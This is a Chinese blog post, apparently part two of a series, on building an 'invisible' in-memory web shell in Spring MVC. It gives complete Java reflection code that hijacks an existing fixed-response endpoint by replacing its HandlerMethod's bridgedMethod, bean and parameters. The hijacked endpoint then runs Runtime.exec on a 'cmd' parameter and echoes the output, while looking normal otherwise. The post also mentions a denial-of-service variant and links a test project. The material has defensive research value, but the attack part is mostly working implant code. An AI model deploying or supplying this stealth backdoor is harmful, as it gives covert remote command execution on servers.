从Spring内存马检测到隐形马(二)

简介: 从Spring内存马检测到隐形马

隐形马原理

SpringMVC原理浅析

首先来学习下SpringMVC处理请求的底层原理

一个重要的类DispatcherServlet,在普通WEB项目中需要配置web.xml如下,在SpringBoot自动配置

<servlet>
   <servlet-name>springMVC</servlet-name>
   <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
   <init-param>
       <param-name>contextConfigLocation</param-name>
       <param-value>/WEB-INF/dispatcherServlet.xml</param-value>
   </init-param>
   <load-on-startup>1</load-on-startup>
   <async-supported>true</async-supported>
</servlet>
<servlet-mapping>
   <servlet-name>springMVC</servlet-name>
   <url-pattern>/</url-pattern>
</servlet-mapping>


简单来看下这个Servlet是怎样的:继承自FrameworkServlet,本质是一个普通的HttpServlet

0f9460b3efae7472ec8ff318e1588baa_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


处理请求大致流程如下

317e55f3e4c24c23f68383b626876722_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


找到FrameworkServlet的doGet入口

@Override
protected final void doGet(HttpServletRequest request, HttpServletResponse response)
   throws ServletException, IOException {
   processRequest(request, response);
}


跟入processRequest方法

protected final void processRequest(HttpServletRequest request, HttpServletResponse response)
     throws ServletException, IOException {
  ...
  try {
     doService(request, response);
  }
  ...
}


跟入doService到达DispatcherSerlvet.doService实现

@Override
protected void doService(HttpServletRequest request, HttpServletResponse response) throws Exception {
  ...
   try {
      doDispatch(request, response);
  }
  ...
}


跟入DispatcherSerlvet.doDispatch

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
  ...
   // Determine handler adapter for the current request.
HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
  ...
   // Actually invoke the handler.
   mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
  ...
}


跟入HandlerAdapter.handle方法中,跨过一些接口和简单的类,到达RequestMappingHandlerAdapter.handleInternal

protected ModelAndView handleInternal(HttpServletRequest request,
                                     HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
  ...
   mav = invokeHandlerMethod(request, response, handlerMethod);
  ...
}


跟入RequestMappingHandlerAdapter.invokeHandlerMethod

protected ModelAndView invokeHandlerMethod(HttpServletRequest request,
     HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
  ...
   invocableMethod.invokeAndHandle(webRequest, mavContainer);
  ...
}


后面还有好几层,略过这些步骤可以发现最终到达了InvocableHandlerMethod.doInvoke

protected Object doInvoke(Object... args) throws Exception {
   Method method = getBridgedMethod();
   try {
       if (KotlinDetector.isSuspendingFunction(method)) {
           return CoroutinesUtils.invokeSuspendingFunction(method, getBean(), args);
      }
       return method.invoke(getBean(), args);
  }
  ...
}


不难发现SpringMVC最底层的原理是反射调用

这里的method是Controller中的方法对象,使用getBean方法得到容器中的Controller对象然后invoke调用

隐形马核心原理

于是产生一个思路:把反射调用的方法改成特殊的方法

  • 不含有cmd参数时返回和以前一样的结果,伪装正常
  • 如果有cmd参数传入则执行命令回显,做到内存马的效果

思路简单,实际上并不是很容易修改


InvocableHandlerMethod这个类并不陌生,是上文HandlerMethod的一个子类

回到HandlerMethod看看里面有什么属性

public class HandlerMethod {
private final Object bean;
private final Method method;
private final Method bridgedMethod;
   private final MethodParameter[] parameters;
  ...
}


难点一

第一处坑:具体调用的方法是什么?

发现有两个反射方法method和bridgeMethod,通过上文doInvoke方法的第一行

Method method = getBridgedMethod();

不难发现真正调用的方法是bridgedMethod属性

protected Method getBridgedMethod() {
   return this.bridgedMethod;
}


关于桥接方法,主要是JDK为了兼容泛型做的操作,不做深入分析

其实从官方getBridgedMethod方法的注释就可以看出,这里和method应该一致的

If the bean method is a bridge method, this method returns the bridged (user-defined) method.
Otherwise it returns the same method as getMethod().


为什么这里是坑?

第一次跟入的时候没有注意Method method = getBridgedMethod();方法,一直在尝试修改method发现没用


难点二

第二处坑:修改方法成功后为什么报错?

当真正修改成功方法后,会报错:

The mapped handler method class '...' is not an instance of the actual controller bean class 'com.example.spring.ApiController'

7415ddce1d6b65f30c8f6c584fe24901_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


这个原因好分析,其实反射调用的第一个参数是对象

method.invoke(getBean(), args);


方法如下,是一个Object类型的对象

public Object getBean() {
   return this.bean;
}


通过反射修改了这个属性即可绕过这个坑


难点三

第三处坑:修改Bean之后为什么还报错?

这里会报出一个错:java.lang.IllegalStateException: wrong number of arguments

2a01c658d41e61ea0221ee73f764654f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


原因如下

真实的方法是这样,不接收参数

@RequestMapping("/api")
@ResponseBody
public String scan(){
    return "ok";
}


导致doInvoke的参数实际上是空,而method.invoke需要对应的cmd参数

protected Object doInvoke(Object... args) throws Exception {
    // args=null
    Method method = getBridgedMethod();
    try {
        if (KotlinDetector.isSuspendingFunction(method)) {
            return CoroutinesUtils.invokeSuspendingFunction(method, getBean(), args);
        }
        // error
        return method.invoke(getBean(), args);
    }
    ...
}


这个参数的获取方法在invokeForRequest的getMethodArgumentValues

  public Object invokeForRequest(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer,
      Object... providedArgs) throws Exception {
    Object[] args = getMethodArgumentValues(request, mavContainer, providedArgs);
    if (logger.isTraceEnabled()) {
      logger.trace("Arguments: " + Arrays.toString(args));
    }
    return doInvoke(args);
  }


跟入getMethodArgumentValues后发现实际上是从HandlerMethod的parameters属性中取值的

protected Object[] getMethodArgumentValues(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer,
                                           Object... providedArgs) throws Exception {
    MethodParameter[] parameters = getMethodParameters();
    if (ObjectUtils.isEmpty(parameters)) {
        return EMPTY_ARGS;
    }
    ...
}


反射修改了parameters即可解决问题


代码实现

首先需要黑客自行寻找一处隐藏点

// 接口
static final String targetPath = "/api";
// 返回具体内容
static final String text = "ok";

需要找到一处接口:通常情况下返回一个固定的值

为什么要找这样一个接口:不容易发现该接口出问题,黑盒很难模拟出完整的业务逻辑

(如果熟悉该接口的业务逻辑造一个一模一样的也不是难事)


通过Context拿到mappingRegistry

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping rmhMapping = context.getBean(RequestMappingHandlerMapping.class);
Field _mappingRegistry = AbstractHandlerMethodMapping.class.getDeclaredField("mappingRegistry");
_mappingRegistry.setAccessible(true);
Object mappingRegistry = _mappingRegistry.get(rmhMapping);


想办法拿到私有类MappingRegistry和MappingRegistration的Class对象

Class<?>[] tempArray = AbstractHandlerMethodMapping.class.getDeclaredClasses();
Class<?> mappingRegistryClazz = null;
Class<?> mappingRegistrationClazz = null;
for (Class<?> item : tempArray) {
    if (item.getName().equals(
        "org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry"
    )) {
        mappingRegistryClazz = item;
    }
    if (item.getName().equals(
        "org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistration"
    )) {
        mappingRegistrationClazz = item;
    }
}


拿到注册信息

Field _registry = mappingRegistryClazz.getDeclaredField("registry");
_registry.setAccessible(true);
HashMap<RequestMappingInfo, Object> registry =
    (HashMap<RequestMappingInfo, Object>) _registry.get(mappingRegistry);


内存马方法

Method targetMethod = Horse.class.getMethod("shell", String.class);


内存马逻辑

public String shell(String cmd) throws IOException {
    // 拿到响应对象
    HttpServletResponse response = ((ServletRequestAttributes)
                                    (RequestContextHolder.currentRequestAttributes())).getResponse();
    try {
        if (cmd != null && !cmd.equals("")) {
            Process process = Runtime.getRuntime().exec(cmd);
            StringBuilder outStr = new StringBuilder();
            outStr.append("<pre>");
            java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
            java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
            String s = null;
            while ((s = stdInput.readLine()) != null) {
                outStr.append(s).append("\n");
            }
            outStr.append("</pre>");
            response.getWriter().print(outStr);
            return outStr.toString();
        } else {
            response.getWriter().print(text);
            return text;
        }
    } catch (Exception ignored) {
    }
    response.getWriter().print(text);
    return text;
}

逻辑如下:

  • 不带cmd参数返回正常的字符串
  • 带了cmd参数执行命令回显


遍历所有注册信息,找到我们的目标修改

for (Map.Entry<RequestMappingInfo, Object> entry : registry.entrySet()) {
                    if (entry.getKey().getPatternsCondition().getPatterns().contains(targetPath)) {
                        ...
                    }
 }


拿到HandlerMethod对象

Field _handlerMethod = mappingRegistrationClazz.getDeclaredField("handlerMethod");
_handlerMethod.setAccessible(true);
HandlerMethod handlerMethod = (HandlerMethod) _handlerMethod.get(entry.getValue());


修改bridgeMethod属性

注意:这里的难点在于修改final属性,需要两次反射

Field _tempMethod = handlerMethod.getClass().getDeclaredField("bridgedMethod");
_tempMethod.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(_tempMethod, _tempMethod.getModifiers() & ~Modifier.FINAL);
_tempMethod.set(handlerMethod, targetMethod);


修改bean对象

注意:这里不用空参构造方法因为会导致死循环,所以使用new Horse("horse")

Field _bean = handlerMethod.getClass().getDeclaredField("bean");
_bean.setAccessible(true);
Field beanModifiersField = Field.class.getDeclaredField("modifiers");
beanModifiersField.setAccessible(true);
beanModifiersField.setInt(_bean, _bean.getModifiers() & ~Modifier.FINAL);
_bean.set(handlerMethod, new Horse("horse"));


修改parameters属性

Field _parameters = handlerMethod.getClass().getDeclaredField("parameters");
_parameters.setAccessible(true);
Field paramModifiersField = Field.class.getDeclaredField("modifiers");
paramModifiersField.setAccessible(true);
paramModifiersField.setInt(_parameters, _parameters.getModifiers() & ~Modifier.FINAL);
// new MethodParameter数组
MethodParameter[] newParams = new MethodParameter[]{
    new MethodParameter(targetMethod, 0)};
_parameters.set(handlerMethod, newParams);

总结思考

换个思路,把所有反射调用的方法置空会怎样?

_tempMethod.set(handlerMethod, null);

会导致所有的mapping报空指针异常,造成拒绝服务漏洞

19a18e6b97eca799bd229fe05b9dac27_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


环境代码地址:

https://github.com/EmYiQing/SpringMemShell

(一个基于Tomcat的SpringMVC项目,按照README.md测试即可成功)

相关文章
|
2月前
|
监控 JavaScript Java
Node.js中内存泄漏的检测方法
检测内存泄漏需要综合运用多种方法,并结合实际的应用场景和代码特点进行分析。及时发现和解决内存泄漏问题,可以提高应用的稳定性和性能,避免潜在的风险和故障。同时,不断学习和掌握内存管理的知识,也是有效预防内存泄漏的重要途径。
138 52
|
11天前
|
运维 监控 Java
为何内存不够用?微服务改造启动多个Spring Boot的陷阱与解决方案
本文记录并复盘了生产环境中Spring Boot应用内存占用过高的问题及解决过程。系统上线初期运行正常,但随着业务量上升,多个Spring Boot应用共占用了64G内存中的大部分,导致应用假死。通过jps和jmap工具排查发现,原因是运维人员未设置JVM参数,导致默认配置下每个应用占用近12G内存。最终通过调整JVM参数、优化堆内存大小等措施解决了问题。建议在生产环境中合理设置JVM参数,避免资源浪费和性能问题。
36 3
|
23天前
|
安全 Java 数据安全/隐私保护
基于内存认证的 Spring Security
通过本文的介绍,希望您能够深入理解基于内存认证的Spring Security配置与使用方法,并能够在实际开发中灵活应用这一技术,提升应用的安全性和用户体验。
48 9
|
2月前
|
缓存 算法 Java
本文聚焦于Java内存管理与调优,介绍Java内存模型、内存泄漏检测与预防、高效字符串拼接、数据结构优化及垃圾回收机制
在现代软件开发中,性能优化至关重要。本文聚焦于Java内存管理与调优,介绍Java内存模型、内存泄漏检测与预防、高效字符串拼接、数据结构优化及垃圾回收机制。通过调整垃圾回收器参数、优化堆大小与布局、使用对象池和缓存技术,开发者可显著提升应用性能和稳定性。
53 6
|
2月前
|
Web App开发 JavaScript 前端开发
使用 Chrome 浏览器的内存分析工具来检测 JavaScript 中的内存泄漏
【10月更文挑战第25天】利用 Chrome 浏览器的内存分析工具,可以较为准确地检测 JavaScript 中的内存泄漏问题,并帮助我们找出潜在的泄漏点,以便采取相应的解决措施。
351 9
|
2月前
|
监控 JavaScript 前端开发
如何检测和解决 JavaScript 中内存泄漏问题
【10月更文挑战第25天】解决内存泄漏问题需要对代码有深入的理解和细致的排查。同时,不断优化和改进代码的结构和逻辑也是预防内存泄漏的重要措施。
68 6
|
2月前
|
Web App开发 缓存 JavaScript
如何检测和解决闭包引起的内存泄露
闭包引起的内存泄露是JavaScript开发中常见的问题。本文介绍了闭包导致内存泄露的原因,以及如何通过工具检测和代码优化来解决这些问题。
|
6月前
|
存储 算法 Java
Java面试题:深入探究Java内存模型与垃圾回收机制,解释JVM中堆内存和栈内存的主要区别,谈谈对Java垃圾回收机制的理解,Java中的内存泄漏及其产生原因,如何检测和解决内存泄漏问题
Java面试题:深入探究Java内存模型与垃圾回收机制,解释JVM中堆内存和栈内存的主要区别,谈谈对Java垃圾回收机制的理解,Java中的内存泄漏及其产生原因,如何检测和解决内存泄漏问题
75 0
|
4月前
|
C语言 Android开发 C++
基于MTuner软件进行qt的mingw编译程序的内存泄漏检测
本文介绍了使用MTuner软件进行Qt MinGW编译程序的内存泄漏检测的方法,提供了MTuner的下载链接和测试代码示例,并通过将Debug程序拖入MTuner来定位内存泄漏问题。
基于MTuner软件进行qt的mingw编译程序的内存泄漏检测
|
3月前
|
Web App开发 开发者

热门文章

最新文章